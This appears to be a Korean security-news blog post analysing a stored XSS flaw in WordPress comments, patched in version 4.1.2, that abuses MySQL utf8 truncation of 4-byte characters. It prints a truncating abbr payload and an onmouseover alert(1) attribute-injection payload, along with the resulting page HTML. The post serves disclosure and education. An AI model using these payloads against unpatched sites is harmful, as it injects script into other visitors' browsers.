워드프레스, 2개의 XSS 취약점 잇달아 발견
4월 21일, 워드프레스가 최신 버전인 4.1.2버전을 공개했습니다. 이번 버전에서는 매우 심각한 stored-xss-vulnerability취약점이 수정되었습니다. 그리고 얼마 뒤, 해당 취약점에 대한 세부 내용이 공개되었습니다.
첫 번째 XSS 취약점 상세분석
이 취약점은 보고된지 무려 14개월이 지나서야 패치가 진행되었습니다. 해당 취약점은 MySQL의 특성을 이용한 XSS 취약점입니다.
MySQL의 utf8 문자열 집합 중, 한 개의 문자열은 1~3 바이트로 이루어집니다. 만일 한 개의 문자열이 3바이트보다 크다면, MySQL이 해당 문자열을 utf8mb4의 형식으로 저장합니다. 따라서 4바이트의 문자열을 utf8 문자열에 삽입하는 경우, MySQL의 디폴트 환경에서는 아래 내용처럼 댓글이 잘리는 현상이 발생할 수 있습니다. 해당 현상은 MySQL의 strict mode가 활성화되지 않은 환경에서 발생합니다. (워드프레스에서는 strict mode가 활성화되어 있지 않은 상태입니다.)
※ 사례 1
댓글에 아래와 같은 글을 작성합니다. (Web과 log사이에 utf8mb4문자를 추가합니다.)
<abbr title='Web𝌆log'>blog!</abbr>
DB에는 아래와 같이 저장될 것입니다.
<abbr title='Web
이는 워드프레스 구조에 혼란을 가져올 수 있습니다.
※ 사례 2
아래와 같은 문자를 추가합니다.
cedric' onmouseover='alert(1)'
style='position:fixed;top:0;left:0;width:100%;height:100%'
위의 문자를 추가하면 페이지에는 아래와 같이 표기될 것입니다.
<div class="comment" id="comment-1">
<div class="comment-author">
Testing
</div>
<div class="comment-content">
<p>
<abbr title='Web
</p>
</div>
<div class="comment" id="comment-2">
<div class="comment-author">
cedric' onmouseover='alert(1)' style='position:fixed;top:0;left:0;width:100%;height:100%'
</div>
<div class="comment-content">
<p>
Injected
</p>
<div>
</div>
※ POC
※ POC
[해외보안동향] 마스터 부트 레코드를 파괴하는 새로운 멀웨어 ‘롬버틱 Rombertik’ (0) | 2015.05.07 |
---|---|
[해외보안동향]MySQL의 SSL/TLS 연결을 다운그레이드시키는 취약점 발견 (0) | 2015.05.06 |
[해외보안동향] 사용자 모르게 멀웨어를 다운로드 및 설치하는 익스플로잇 테크닉, Tapjacking (0) | 2015.04.29 |
[해외보안동향] iOS의 AFNetworking에서 SSL 취약점 발견 (0) | 2015.04.27 |
[해외보안동향] 아이폰과 아이패드 충돌을 일으키는 iOS 8 취약점 발견 (2) | 2015.04.24 |
댓글 영역